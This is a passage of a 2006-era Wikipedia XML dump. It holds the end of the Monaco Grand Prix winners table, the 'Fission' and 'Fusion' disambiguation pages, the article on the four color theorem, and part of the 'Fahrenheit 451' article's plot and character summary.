| {{flagicon|Italy}} [[Riccardo Patrese]]
| [[Brabham Racing Organisation|Brabham]]-[[Ford Motor Company|Ford]]
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! [[1981 Formula One season|1981]]
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|-
! [[1980 Formula One season|1980]]
| {{flagicon|Argentina}} [[Carlos Reutemann]]
| [[WilliamsF1|Williams]]-[[Ford Motor Company|Ford]]
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! [[1979 Formula One season|1979]]
| {{flagicon|South Africa}} [[Jody Scheckter]]
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! [[1978 Formula One season|1978]]
| {{flagicon|France}} [[Patrick Depailler]]
| [[Tyrrell Racing|Tyrrell]]-[[Ford Motor Company|Ford]]
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|-
! [[1977 Formula One season|1977]]
| {{flagicon|South Africa}} [[Jody Scheckter]]
| [[Walter Wolf Racing|Wolf]]-[[Ford Motor Company|Ford]]
| [[Circuit de Monaco|Monaco]]
| [[1977 Monaco Grand Prix|Report]]
|-
! [[1976 Formula One season|1976]]
| {{flagicon|Austria}} [[Niki Lauda]]
| [[Scuderia Ferrari|Ferrari]]
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| [[1976 Monaco Grand Prix|Report]]
|-
! [[1975 Formula One season|1975]]
| {{flagicon|Austria}} [[Niki Lauda]]
| [[Scuderia Ferrari|Ferrari]]
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|-
! [[1974 Formula One season|1974]]
| {{flagicon|Sweden}} [[Ronnie Peterson]]
| [[Team Lotus|Lotus]]-[[Ford Motor Company|Ford]]
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! [[1973 Formula One season|1973]]
| {{flagicon|Scotland}} [[Jackie Stewart]]
| [[Tyrrell Racing|Tyrrell]]-[[Ford Motor Company|Ford]]
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|-
! [[1972 Formula One season|1972]]
| {{flagicon|France}} [[Jean-Pierre Beltoise]]
| [[British Racing Motors]]
| [[Circuit de Monaco|Monaco]]
| [[1972 Monaco Grand Prix|Report]]
|-
! [[1971 Formula One season|1971]]
| {{flagicon|Scotland}} [[Jackie Stewart]]
| [[Tyrrell Racing|Tyrrell]]-[[Ford Motor Company|Ford]]
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| [[1971 Monaco Grand Prix|Report]]
|-
! [[1970 Formula One season|1970]]
| {{flagicon|Austria}} [[Jochen Rindt]]
| [[Team Lotus|Lotus]]-[[Ford Motor Company|Ford]]
| [[Circuit de Monaco|Monaco]]
| [[1970 Monaco Grand Prix|Report]]
|-
! [[1969 Formula One season|1969]]
| {{flagicon|UK}} [[Graham Hill]]
| [[Team Lotus|Lotus]]-[[Ford Motor Company|Ford]]
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|-
! [[1968 Formula One season|1968]]
| {{flagicon|UK}} [[Graham Hill]]
| [[Team Lotus|Lotus]]-[[Ford Motor Company|Ford]]
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! [[1967 Formula One season|1967]]
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| {{flagicon|Scotland}} [[Jackie Stewart]]
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! [[1958 Formula One season|1958]]
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! [[1957 Formula One season|1957]]
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| [[Maserati]]
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! [[1956 Formula One season|1956]]
| {{flagicon|UK}} [[Stirling Moss]]
| [[Maserati]]
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|-
! [[1955 Formula One season|1955]]
| {{flagicon|France}} [[Maurice Trintignant]]
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| [[1955 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1952]]
| {{flagicon|Italy}} [[Vittorio Marzotto]]
| [[Scuderia Ferrari|Ferrari]]
| [[Circuit de Monaco|Monaco]]
| [[1952 Monaco Grand Prix|Report]]
|-
! [[1950 Formula One season|1950]]
| {{flagicon|Argentina}} [[Juan Manuel Fangio]]
| [[Alfa Romeo]]
| [[Circuit de Monaco|Monaco]]
| [[1950 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1948 Grand Prix Season|1948]]
| {{flagicon|Italy}} [[Giuseppe Farina]]
| [[Maserati]]
| [[Circuit de Monaco|Monaco]]
| [[1948 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1937 Grand Prix Season|1937]]
| [[Image:Flag_Germany_1933.svg|25px|Germany]] [[Manfred von Brauchitsch]]
| [[Mercedes-Benz]]
| [[Circuit de Monaco|Monaco]]
| [[1937 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1936 Grand Prix Season|1936]]
| [[Image:Flag_Germany_1933.svg|25px|Germany]] [[Rudolf Caracciola]]
| [[Mercedes-Benz]]
| [[Circuit de Monaco|Monaco]]
| [[1936 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1935 Grand Prix Season|1935]]
| [[Image:Italy_flag_1861.png|25px|Italy]] [[Luigi Fagioli]]
| [[Mercedes-Benz]]
| [[Circuit de Monaco|Monaco]]
| [[1935 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1934 Grand Prix Season|1934]]
| {{flagicon|France}} [[Guy Moll]]
| [[Alfa Romeo]]
| [[Circuit de Monaco|Monaco]]
| [[1934 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1933 Grand Prix Season|1933]]
| [[Image:Italy_flag_1861.png|25px|Italy]] [[Achille Varzi]]
| [[Bugatti]]
| [[Circuit de Monaco|Monaco]]
| [[1933 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1932 Grand Prix Season|1932]]
| [[Image:Italy_flag_1861.png|25px|Italy]] [[Tazio Nuvolari]]
| [[Alfa Romeo]]
| [[Circuit de Monaco|Monaco]]
| [[1932 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1931 Grand Prix Season|1931]]
| {{flagicon|Monaco}} [[Louis Chiron]]
| [[Bugatti]]
| [[Circuit de Monaco|Monaco]]
| [[1931 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1930 Grand Prix Season|1930]]
| {{flagicon|France}} [[René Dreyfus]]
| [[Bugatti]]
| [[Circuit de Monaco|Monaco]]
| [[1930 Monaco Grand Prix|Report]]
|- bgcolor=&quot;#FFCCCC&quot; 
! [[1929 Grand Prix Season|1929]]
| {{flagicon|UK}} [[William Grover-Williams]]
| [[Bugatti]]
| [[Circuit de Monaco|Monaco]]
| [[1929 Monaco Grand Prix|Report]]
|}

== External links ==
* [http://www.yourmonaco.com/grand_prix Monaco Grand Prix]
* [http://www.acm.mc/ Automobile Club de Monaco]
* [http://www.f1db.com/f1/page/62e_Grand_Prix_de_Monaco_2005 Monaco Grand Prix Statistics]
* [http://www.cars-and-races.com/en/ Posters and photos of Monaco Grand Prix]
* [http://holiday.monacoeye.com/maps/monacomap1.html Satellite Map of Monaco Grand Prix track]
* [http://www.charterworld.com/index.html?sub=monaco-grand-prix Monaco Grand Prix Yachts]
* [http://www.4mula1.ro/history/track/Monte_Carlo Monte Carlo formula 1 statistics]

{{Formula_One_races}}

[[Category:Monaco Grand Prix|*]]
[[Category:Formula One Grands Prix]]

[[cs:Grand Prix Monaka]]
[[de:Großer Preis von Monaco]]
[[es:Gran Premio de Mónaco]]
[[fr:Grand Prix automobile de Monaco]]
[[it:Gran Premio di Monaco]]
[[nl:Grand Prix van Monaco]]
[[ja:モナコグランプリ]]
[[no:Monacos Grand Prix]]
[[pl:Grand Prix Monako]]
[[pt:Grande Prêmio de Mônaco]]
[[fi:Monacon Grand Prix]]
[[sv:Monacos Grand Prix]]</text>
    </revision>
  </page>
  <page>
    <title>Fission</title>
    <id>10947</id>
    <revision>
      <id>33911712</id>
      <timestamp>2006-01-05T00:54:44Z</timestamp>
      <contributor>
        <username>Fastfission</username>
        <id>42525</id>
      </contributor>
      <minor />
      <comment>external links don't go on disambig pages</comment>
      <text xml:space="preserve">In general '''fission''' is a splitting or breaking up into parts. 

In [[physics]], [[nuclear fission]] is a process where a large [[atomic nucleus|nucleus]] such as [[uranium]] is split into two smaller nuclei. 

In [[biology]], [[binary fission]] refers to the process whereby a
[[prokaryote]] reproduces by [[cell division]].  It is similar to [[mitosis]] and [[meiosis]] in [[eukaryote]]s.

In [[anthropology]], fission refers to the process whereby a nationstate divides and becomes multiple states (example: [[Yugoslavia]]).

{{disambig}}
[[da:Fission]]
[[sv:Fission]]</text>
    </revision>
  </page>
  <page>
    <title>Fusion</title>
    <id>10948</id>
    <revision>
      <id>41374387</id>
      <timestamp>2006-02-26T22:45:23Z</timestamp>
      <contributor>
        <ip>70.252.2.153</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|fusion}}

'''Fusion''' means to merge or combine. It may refer to:
*[[Nuclear fusion]]
**[[Fusion power]]
*[[Fusion (music)]], especially [[Jazz fusion]]
*[[Fusion cuisine]]
*[[Ford Fusion]]
*''[[Fusion Magazine]]''
*[[Fusion (comics)]]
*[[Fusion (Yu-Gi-Oh!)]]
*[[Fusion (Dragon Ball)]]
*[[Fusion Australia]], an Australian Christian organisation
*[[Schumacher Fusion]], a radio-controlled car 
*[[BT Fusion]], a UK voice-over-IP service
*Oracle Fusion, a technology and application development platform from [[Oracle]] Corporation

'''Fusion''' could also refer to:
*Fusion, an oil company which has stakes in the [[Chinguetti deposit]] in [[Mauritania]].
*[[Fertilization]]
*[[Freezing]], and the associated [[Standard enthalpy change of fusion|heat of fusion]]
*[[Arthrodesis]]
*[[Sandhi]], a phonological processes
*A [[Global Gillette#Current Gillette products|Gillette Fusion]] Razor

==See also==
*[[Fission]]
*[[Merger]]

{{disambig}}

[[de:Fusion]]
[[pt:Fusão]]
[[ja:&amp;#12501;&amp;#12517;&amp;#12540;&amp;#12472;&amp;#12519;&amp;#12531;]]
[[sv:Fusion]]</text>
    </revision>
  </page>
  <page>
    <title>Four color theorem</title>
    <id>10949</id>
    <revision>
      <id>42081621</id>
      <timestamp>2006-03-03T18:25:14Z</timestamp>
      <contributor>
        <username>Dmharvey</username>
        <id>277018</id>
      </contributor>
      <minor />
      <comment>removed friendly but inappropriate greeting</comment>
      <text xml:space="preserve">[[image:FourColorMapEx.png|right|thumb|Example of a four color map]]
[[Image:Map of Azerbaijan with cities.png|thumb|right|200px|Example of a map with non-contiguous regions]]

The '''four color theorem''' states that given any plane separated into regions, such as a political map of the counties of a state, the regions may be colored using no more than four [[color]]s in such a way that no two adjacent regions receive the same color. Two regions are called ''adjacent'' if they share a border segment, not just a point. Each region must be [[contiguous]]: that is, it may not consist of separate sections like such real countries as [[Angola]],
[[Azerbaijan]], and the [[United States]].

It is obvious that three colors are, in some cases, inadequate. This applies already to the map with one region surrounded by three other regions (even though with an even number of surrounding countries three colors are enough) and it is not at all difficult to prove that [[five color theorem|five colors are sufficient]] to color a map. 

The four color theorem was the first major [[theorem]] to be proved using a [[computer]], and the proof is not accepted by all mathematicians because it would be infeasible for a human to verify by hand (see [[computer-aided proof]]). Ultimately, one has to have faith in the correctness of the [[compiler]] and [[hardware]] executing the program used for the proof.

The lack of mathematical elegance was another factor, and to [[paraphrase]] comments of the time, &quot;a good mathematical proof is like a poem &amp;mdash; this is a telephone directory!&quot;

==History==

The [[conjecture]] was first proposed in [[1852]] when [[Francis Guthrie]], while trying to color the map of counties of [[England]], noticed that only four different colors were needed.  At the time, Guthrie was a student of [[Augustus De Morgan]] at [[University College, London|University College]].  (Guthrie graduated in [[1850]], and later became a professor of mathematics in [[South Africa]]). According to de Morgan:

:''A student of mine'' [Guthrie] ''asked me today to give him a reason for a fact which I did not know was a fact - and do not yet. He says that if a figure be anyhow divided and the compartments differently coloured so that figures with any portion of common boundary line are differently coloured - four colours may be wanted, but not more - the following is the case in which four colours are wanted. Query cannot a necessity for five or more be invented...''

The first published reference is found in [[Arthur Cayley]]'s, ''On the colourings of maps.'', Proc. [[Royal Geography Society]] 1, 259-261, 1879. 

There were several early failed attempts at proving the [[theorem]]. One [[mathematical proof|proof]] of the theorem was given by [[Alfred Kempe]] in [[1879]], which was widely acclaimed; another proof was given by [[Peter Tait]] in [[1880]]. It wasn't until [[1890]] that Kempe's proof was shown incorrect by [[Percy Heawood]], and [[1891]] that Tait's proof was shown incorrect by [[Julius Petersen]] - each false proof stood unchallenged for 11 years.

In [[1890]], in addition to exposing the flaw in Kempe's proof, Heawood proved that all planar graphs are five-colorable; see [[five color theorem]].

Significant results were produced by [[Croatia]]n mathematician [[Danilo Blanuša]] in the [[1940s]] by finding an original [[snark (graph theory)|snark]]. 

During the [[1960s]] and [[1970s]] [[Germany|German]] mathematician [[Heinrich Heesch]] developed methods of applying the [[computer]] in searching for a proof. 

In [[1969]] [[United Kingdom|British]] mathematician [[G. Spencer-Brown]] claimed that the theorem could be proven with [[Laws of form|mathematics he had developed]]. However, he was never able to produce a proof.

It was not until [[1976]] that the four-color conjecture was finally proven by [[Kenneth Appel]] and [[Wolfgang Haken]] at the [[University_of_Illinois_at_Urbana-Champaign| University of Illinois]]. They were assisted in some algorithmic work by J. Koch.

If the four-color conjecture was false, there would be at least one map with the smallest possible number of regions that requires five colors. The proof showed that such a minimal counterexample cannot exist through the use of two technical concepts:

* An ''unavoidable set'' contains regions such that every map must have at least one region from this collection.
* A ''reducible configuration'' is an arrangement of countries that cannot occur in a minimal counterexample. If a map contains a reducible configuration, and the rest of the map can be colored with four colors, then the entire map can be colored with four colors and so this map is not minimal.        

Using mathematical rules and procedures based on properties of reducible configurations (e.g. the method of discharging, rings, Kempe chains, etc.), Appel and Haken found an unavoidable set of reducible configurations, thus proving that a minimal counterexample to the four-color conjecture could not exist. Their proof reduced the infinitude of possible maps to 1,936 reducible configurations (later reduced to 1,476) which had to be checked one by one by computer. This reducibility part of the work was independently double checked with different programs and computers. However, the unavoidability part of the proof was over 500 pages of hand written counter-counter-examples, much of which was Haken's teenage son Lippold verifying [[Graph coloring|graph colorings]]. The computer program ran for hundreds of hours. 

Since the proving of the theorem, efficient algorithms have been found for 4-coloring maps requiring only O(''n''&lt;sup&gt;2&lt;/sup&gt;) time, where ''n'' is the number of vertices. In [[1996]], [[Neil Robertson]], [[Daniel Sanders]], [[Paul Seymour]] and [[Robin Thomas]] created a quadratic time algorithm, improving on a quartic algorithm based on Appel and Haken’s proof. This efficiency increase was due to their new proof, which was similar to Appel and Haken's proof but reduced the complexity of the problem and required checking only 633 reducible configurations. Both the unavoidability and reducibility parts of this new proof required the use of a computer and are impractical for humans to check by hand.

In [[2004]], [[Benjamin Werner]] and [[Georges Gonthier]] formalized a proof of the theorem inside the [[Coq]] theorem prover (Gonthier, n.d.). This removes the need to trust the various computer programs used to verify particular cases &amp;mdash; it is only necessary to trust the Coq prover.

There are also efficient algorithms to determine whether 1 or 2 colors are enough to color a map. Determining whether 3 colors suffices is, however, [[NP-complete]], and so unlikely to have a fast solution. Determining whether a general (possibly non-planar) graph can be 4-colored is also NP-complete.

== Not for map-makers ==

The four color theorem does not arise out of and has no origin in practical cartography. According to Kenneth May, a mathematical historian who studied a sample of atlases in the Library of Congress, there is no tendency to minimise the number of colors used. Many maps use color for things other than political regions. Most maps use more than four colors, and when only four colors are used, usually the minimum number of colors actually needed is less than four.

Furthermore, on most actual maps there are lakes and these must all be in the same color. This is then additional to whatever colors are required for political regions. (If the lakes are counted as a single region, the theorem does not apply. It can be applied to the map's land areas alone, though, by notionally assigning each lake to one or more of the adjacent political regions.)

Textbooks on cartography and the history of cartography don't mention the four color theorem, even though map coloring is a subject of discussion. Generally, mapmakers say they are more concerned about coloring maps in a balanced fashion, so that no single color dominates.  Whether they use four, five, or more colors is not their primary concern.

== Formal statement in graph theory ==

To formally state the theorem, it is easiest to rephrase it in [[graph theory]].  It then states that the [[vertex|vertices]] of every [[planar graph]] can be [[graph coloring|colored]] with at most four colors so that no two adjacent vertices receive the same [[color]]. Or &quot;every planar graph is four-colorable&quot; for short. Here, every region of the [[map]] is replaced by a vertex of the graph, and two vertices are connected by an [[Edge_(graph_theory)|edge]] [[if and only if]] the two regions share a border segment (not just a corner).

[[image:PlanarGraph4.png|center|]]

== False disproofs ==

Like many famous open problems of mathematics, the four color theorem has attracted a large number of false proofs and disproofs in its long history. Some, like Kempe's and Tait's mentioned above, stood under public scrutiny for over a decade before they were exposed. But many more, authored by amateurs and cranks, were never published at all.

&lt;div class=&quot;thumb tright&quot;&gt;
&lt;div style=&quot;width:400px;&quot;&gt;
{|
|[[Image:4ct-non-counterexample.png|150px]]
''This map has been colored with five colors...''
|[[Image:4ct-non-counterexample-2.png|150px]]
''...but it is necessary to change at least four of the ten regions to obtain a coloring with only four colors.''
|}
&lt;/div&gt;
&lt;/div&gt;
Generally, the simplest &quot;counterexamples&quot; attempt to create one region which touches all other regions. This forces the remaining regions to be colored with only three colors. Because the four color theorem is true, this is always possible; however, because the person drawing the map is focused on the one large region, they fail to notice that the remaining regions can in fact be colored with three colors.

This trick can be generalized: there are many maps where if the colors of some regions are selected beforehand, it becomes impossible to color the remaining regions without exceeding four colors. A casual verifier of the counterexample may not think to change the colors of these regions, so that the counterexample will appear as though it is valid.

Perhaps one effect underlying this common misconception is the fact that the color restriction is not [[transitive]]: a region only has to be colored differently from regions it touches directly, not regions touching regions that it touches. If this were the restriction, planar graphs would require arbitrarily large numbers of colors.

Other false disproofs violate the assumptions of the theorem in unexpected ways, such as using a region that consists of multiple disconnected parts, or disallowing regions of the same color from touching at a point.

== Generalizations ==

[[Image:Torus-with-seven-colours.png|thumb|right|300px|By joining the single arrows together and the double arrows together, one obtains a [[torus]] with seven mutually touching regions; therefore seven colors are necessary]]

One can also consider the coloring problem on surfaces other than the [[plane (mathematics)|plane]]. The problem on the [[sphere]] is equivalent to that on the plane. For closed (orientable or non-orientable) surfaces with positive [[Genus (mathematics)|genus]], the  maximum number ''p'' of colors needed depends on the surface's [[Euler characteristic]] &amp;chi; according to the formula
:&lt;math&gt;p=\left\lfloor\frac{7 + \sqrt{49 - 24 \chi}}{2}\right\rfloor&lt;/math&gt;,
where the outermost brackets denote the [[floor function]]. The only exception to the formula is the [[Klein bottle]], which has Euler characteristic 0 and requires 6 colors. This was initially known as the [[Heawood conjecture]] and proved as [[The Map Color Theorem]] by [[Gerhard Ringel]] and [[J. T. W. Youngs]] in [[1968]].

For example, the [[torus]] has Euler characteristic &amp;chi; = 0 and thus ''p'' = 7, so no more than 7 colors are required to paint any map on a torus.

== Real world counterexamples ==

In the real world, [[Exclave|not all countries are contiguous]] (e.g. [[Alaska]] as part of the [[United States]], [[Nakhichevan]] as part of [[Azerbaijan]], and [[Kaliningrad]] as part of [[Russia]]). If the chosen coloring scheme requires that the territory of a particular country must be the same color, four colors may not be sufficient. Conceptually, a constraint such as this enables the map to become non-planar, and thus the four color theorem no longer applies. For instance, consider a simplified map:

[[Image:Four_color_inadequacy_example.png|none|]]

In this map, the two regions labeled ''A'' belong to the same country, and must be the same color. This map then requires five colors, since the two ''A'' regions together are contiguous with four other regions, each of which is contiguous with all the others. If ''A'' consisted of three regions, six or more colors might be required; one can construct maps that require an arbitrarily high number of colors.

==See also==
* [[Graph coloring]]
* [[Graph theory]]
* [[Topology]]
* [[:WikiBooks:Amateur's Guide to Proving the Four Color Theorem]]

==References==

* Appel, Kenneth &amp; Haken, Wolfgang &amp; Koch, John, ''Every Planar map is Four Colorable'', Illinois: Journal of Mathematics: vol.21: pp.439-567, December 1977.
* Appel, Kenneth &amp; Haken, Wolfgang, ''Solution of the Four Color Map Problem'', Scientific American, vol.237 no.4: pp.108-121, October 1977.
* Appel, Kenneth &amp; Haken, Wolfgang, ''Every Planar Map is Four-Colorable.'' Providence, RI: American Mathematical Society, 1989.
* Gonthier, Georges, ''[http://research.microsoft.com/~gonthier/4colproof.pdf A computer-checked proof of the Four Colour Theorem],'' unpublished.
* O'Connor and Robertson, ''[http://www-groups.dcs.st-and.ac.uk/~history/HistTopics/The_four_colour_theorem.html The Four Colour Theorem]'', at the [[MacTutor archive]], 1996.
* Robertson, Neil; Sanders, Daniel; Paul, Seymour; and Thomas, Robin, [http://portal.acm.org/citation.cfm?id=237814.238005&amp;coll=ACM&amp;dl=ACM&amp;type=series&amp;idx=237814&amp;part=Proceedings&amp;WantType=Proceedings&amp;title=Annual%20ACM%20Symposium%20on%20Theory%20of%20Computing&amp;CFID=36220143&amp;CFTOKEN=50709087 Efficiently four-coloring planar graphs], New York: ACM Press, 1996.
* Saaty and Kainen, ''The Four Color Problem: Assaults and Conquest'' (ISBN 0-486-65092-8)
* Thomas, Robin, ''Four Colors Suffice'', London: Penguin Books Ltd, 2002.
* Thomas, Robin, [http://www.ams.org/notices/199807/thomas.pdf An Update on the Four-Color Theorem] (PDF File), ''Notices of the American Mathematical Society'', Volume 45, number 7 (August 1998)
* Thomas, Robin, ''The Four Color Theorem'', http://www.math.gatech.edu/~thomas/FC/fourcolor.html
* Ringel, G. and Youngs, J. W. T. &quot;Solution of the Heawood Map-Coloring Problem.&quot; Proc. Nat. Acad. Sci. USA 60, 438-445, 1968.

[[Category:Topological graph theory]]
[[Category:Mathematical theorems]]

&lt;!----&gt;

[[ar:مبرهنة الألوان الأربعة]]
[[cs:Problém čtyř barev]]
[[de:Vier-Farben-Satz]]
[[es:Teorema de los cuatro colores]]
[[ko:사색정리]]
[[io:Problemo di quar kolori]]
[[it:Teorema dei quattro colori]]
[[he:משפט ארבעת הצבעים]]
[[nl:Vierkleurenstelling]]
[[ja:四色定理]]
[[pl:Twierdzenie o czterech kolorach]]
[[pt:Teorema das quatro cores]]
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[[tr:Dört Renk Teoremi]]
[[zh:四色定理]]</text>
    </revision>
  </page>
  <page>
    <title>Fahrenheit 451</title>
    <id>10951</id>
    <revision>
      <id>41849984</id>
      <timestamp>2006-03-02T03:30:10Z</timestamp>
      <contributor>
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      <minor />
      <comment>moved the article back to original title using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:fahrenheit451.jpg|thumb|200px|Fahrenheit 451 book cover]]
'''''Fahrenheit 451''''' ([[1953]]) is a [[dystopia|dystopian]] [[fiction]] novel by [[Ray Bradbury]].
It is set in a world where books are [[censorship|banned]] and critical thought is suppressed; the central character, [[Guy Montag]], is employed as a &quot;fireman&quot; (which, in this case, means &quot;[[book burning|book burner]]&quot;). 451 [[Fahrenheit|degrees Fahrenheit]] (about 233°[[Celsius|C]]) is stated as &quot;[[Autoignition temperature|the temperature at which book-paper catches fire, and burns ...]]&quot;. It was originally published as a shorter [[novella]] ''The Fireman'' in the February 1951 issue of ''[[Galaxy Science Fiction]]''.  It was made in to a [[Fahrenheit 451 (film)|movie]] in [[1966 in film|1966]] by [[François Truffaut]].

The novel reflects several major concerns of the time of its writing: the [[censorship]] and suppression of thoughts and ideas exercised in the [[United States]] in the [[1950s]] as the result of [[McCarthyism]]; the burnings of books in [[Nazi Germany]] starting in [[1933]]; and the horrible consequences of an explosion of a [[nuclear weapon]].

One particularly ironic circumstance is that unbeknownst to Bradbury his publisher released a ''censored'' edition in [[1967]] that eliminated the words &quot;damn&quot; and &quot;hell&quot; for distribution to schools. Later editions with all words restored include a &quot;Coda&quot; from the author describing this event and further thoughts on censorship and &quot;well-meaning&quot; revisionism.

==Plot==
{{spoiler}}
The story takes place sometime in the not-too-distant future, in an America whose society's goal in life is [[hedonism|hedonistic]] pleasure and abandonment of self-control. By this point in time, books have been made obsolete by the increasingly frenetic pace of life and the ever-shortening attention span of the [[common man]] nobody has &quot;time&quot; to read anymore. In the government's, and consequently the society's opinion, books contain problems and conflicting theories, books are seen as a source of unhappiness, causing people to be anxious, sad or angry, a threat to one's neighbour with attained knowledge. That is what the government wants to avoid, because those feelings could threaten the country's stability. The ideas in books are considered [[heresy]] and firemen are employed to burn and destroy them whenever discovered, in favor of fun and happiness. According to the authorities, [[Benjamin Franklin]] was the ''first'' fireman and people should achieve happiness by watching [[television|TV]] all day long or by using [[Psychoactive drug|drug]]s. The fire brigade's symbol is the [[salamander]], an animal that was thought to thrive in fire.

For ten years the [[protagonist]], Guy Montag, works with grim pleasure as a fireman, seemingly committed to the concept that books have nothing to say. The stench of [[kerosene]] in his nostrils and the spark in his eyes do little, however, to mask the loneliness he feels coming home to his wife, Mildred, a woman who, at all times, seeks self-stimulation in various forms such as a miniature [[radio]] jammed in her ear at night, or the three wall TVs in the parlour, with their silly shows, lacking any sense or meaning. With the spreading of TVs, newspapers disappeared and nobody wanted them back and nobody missed them because it was so easy: one did not have to think while sitting in front of the screen.

At first, Guy is proud of his work. He thinks it is a fine job and kerosene is nothing but perfume to him, as he says. Upon meeting [[Clarisse McClellan]], a 17-year-old girl living in Montag's neighbourhood, who is considered abnormal because of her compassion and her simple interest in the world around her, his way of thinking changes. Unlike Guy, she pays attention to nature, which average people don't care about anymore. She makes him reflect on life and his work. She poses essential questions to him, asking him if he is happy, and why things are the way they are. This results in Guy beginning to think about his situation. Clarisse dies early in the story and acts only as a catalyst to Guy's transformation. Guy develops from a loyal servant of the state's [[ideology]] to a self-confident human being with his own free will.

Guy's wife Mildred loses her free will, self-confidence, and the desire to question [[Norm (sociology)|societal norms]], prefering to sit in her parlour and watch TV on three TV walls set up around her. She seems to be happy staring at the screens but actually attempts to commit [[suicide]], revealing her emptiness. She takes too many pills which actually should make her happy. As consequence of her watching TV in such an excessive way she has lost her sense of reality: She is convinced that in case of an imminent war every man will return back home in a few days. Moreover she's unable to make complete and logical sentences.

Another event that is important for Guy's development happens when he and his [[fire brigade]] are sent to a house whose owner, an old lady, is suspected of owning books. However the lady strikes a match and kills herself along with the books rather than carry on living without them. This causes Guy to contemplate the meaning of books, as the woman found them important enough to die for.

After this cruel event, unnoticed by the other firemen except perhaps Beatty (who would say not a thing, as if he could see right through him), Guy takes a [[Bible]] with him, reading it in secret. He stays away from work and pretends that he is ill. He wonders if he could ever do his job again, both because of the old woman's death, and because of his new interest in books. In preceding actions of the fire brigade, he has already stolen books without knowing why, but unlike now, he had never read them.

With him staying away from work, Beatty, the Captain of his fire station, visits Guy. He tells him about the history of the fire brigade, and the senselessness of books. In this speech, the reader of the book recognizes that Beatty knows that Guy has at least one book. It is implied that he has read a lot, and &quot;knows his enemy&quot;, but at the same time despises books and their readers. In his speech he mentions in passing that once in his career every fireman wants to know what books say, and if a fireman takes a book with him, he has 24 hours to bring it to the fire house and burn it there.

Now Guy is confused. He cannot find it in his heart to burn such valuable things. On top of it all, his wife Mildred is annoyed that he is keeping some books, and is scared of what could happen if the fire brigade knew about them.

He no longer wants to burn books, he wants to know if they have something worth hearing. He looks up Faber, a retired English professor that he met a year ago. Although Faber knew that Guy was a fireman, and was scared, he recited poems to Guy at that time. As he left, Faber gave his address to Guy for his file in case he decided to be angry with him. Montag visits Faber and he tells him of his problems. He does not want to turn in the Bible, but he also cannot find a substitute. Furthermore, Montag does not know if Beatty knows which book he has stolen, and if he would recognize that Montag has got a whole library at home if he ''doesn't'' bring the Bible. He doesn't want Beatty to find out Guy's real attitude towards books. 

Faber gives Guy a [[Covert listening device|bug]] with which Faber is able to listen to Beatty and Guy talk and advise Guy on what to say. They decide to copy books and plant them in other firemen's houses, to sabotage the fire brigade. When Guy arrives at the fire house, he hands Beatty the book. Then Beatty wants to test Guy. He quotes from books and asks for Guy's opinion about them. In the moment he wants to answer the station bell rings and they have to leave. They get into their vehicle, and when they arrive Guy recognizes that it is his house.

Mildred has denounced him. When the firemen arrive she is leaving the house for good. Beatty forces Guy to burn the books he has. But he not only burns the books but also the entire house. He wants to destroy all that reminds him of his previous life. When he comes out of the house and Beatty antagonizes Montag, and threatens to find Faber, Montag points the flamethrower at him and burns him alive. As Montag escapes, he knocks out his fellow firemen, but he then flees for his life, pursued by a relentless Mechanical Hound. 

After warning Faber to destroy all traces of his presence at Faber's house as well as to escape as well, he embarks on a harrowing journey from the city. Losing the trace of Montag at the river, the police are forced to replace Montag with an [[insomnia]]c, killing this man, who looks like Montag, so that the viewing public can enjoy a good show (this is a reference to a short story of Bradbury's &quot;The Pedestrian&quot;, which features a similarly insomniac gentleman who walks for pleasure and is detained by the police when he gives this as reason).

Montag eventually escapes the pursuit by jumping in the river and floating downstream. Once he comes ashore again, he meets a group of tramps – mostly older men – who, to Montag's astonishment, have been expecting him. Every one of them has committed entire books to memory, to share with those who would listen, until books will be allowed again. They themselves burned the books they read to prevent them from being discovered. Amongst them is Granger, the leader of the group. Guy arrives at the camp and warms himself over a campfire, where he realizes that fire is capable of giving warmth as well as destruction. Afterward, the city which Guy has just escaped from, and other cities as well, are soon struck with the [[atomic bomb]] and destroyed, along with their way of life, so that people might once again learn from the books, and learn from the past. He has a talk with Granger about the fact that it is necessary for the mythical [[Phoenix (mythology)|phoenix]] to be consumed by fire when it gets old and complacent, for it to be [[rebirth|born again]]. This is relayed to Montag as an allegory of society.

The metamorphosis of society, the Phoenix, and Montag are intertwined. Following the destruction, Guy and his newly made friends travel back to the ruins of the city to embark on the reconstruction of society.

== Character Analysis ==

*'''[[Guy Montag]]''' is the [[protagonist]] and fireman (see above) whose [[metamorphosis]] is illustrated throughout the book and who presents the dystopia through the eyes of a loyal worker to it, a man in conflict about it, and one resolved to be free of it. Bradbury notes in his afterword that '''[[Montag]]''' is the name of a paper mill.
*'''Faber''' is the former English professor who represents those who know what is being done is wrong, but are too fearful to act. Bradbury notes in his coda that '''Faber''' is part of the name of a manufacturer of [[pencil]]s ([[Faber-Castell]]).
*'''Mildred Montag''' is Montag's wife, who tries to hide her own emptiness and fear of questioning her surroundings or herself, with drugs, meaningless chatter, and a constant barrage of television. She constantly tries to reach the glorified state of [[happiness]], but is inwardly miserable. She is used symbolically as the opposite of Clarisse McClellan. She is known as '''Linda Montag''' in the 1970s film.
*'''[[Clarisse McClellan]]''' displays every trait Mildred does not. She is outgoing, naturally cheerful, and intuitive. She serves as the &quot;wake up call&quot; for Guy Montag, by posing the question &quot;why&quot; to him. She is unpopular among peers, and disliked by parents for (as she puts it) asking why instead of how, and focusing on nature rather than technology. Montag always regards her as odd until she goes missing; the book gives no definitive explanation.
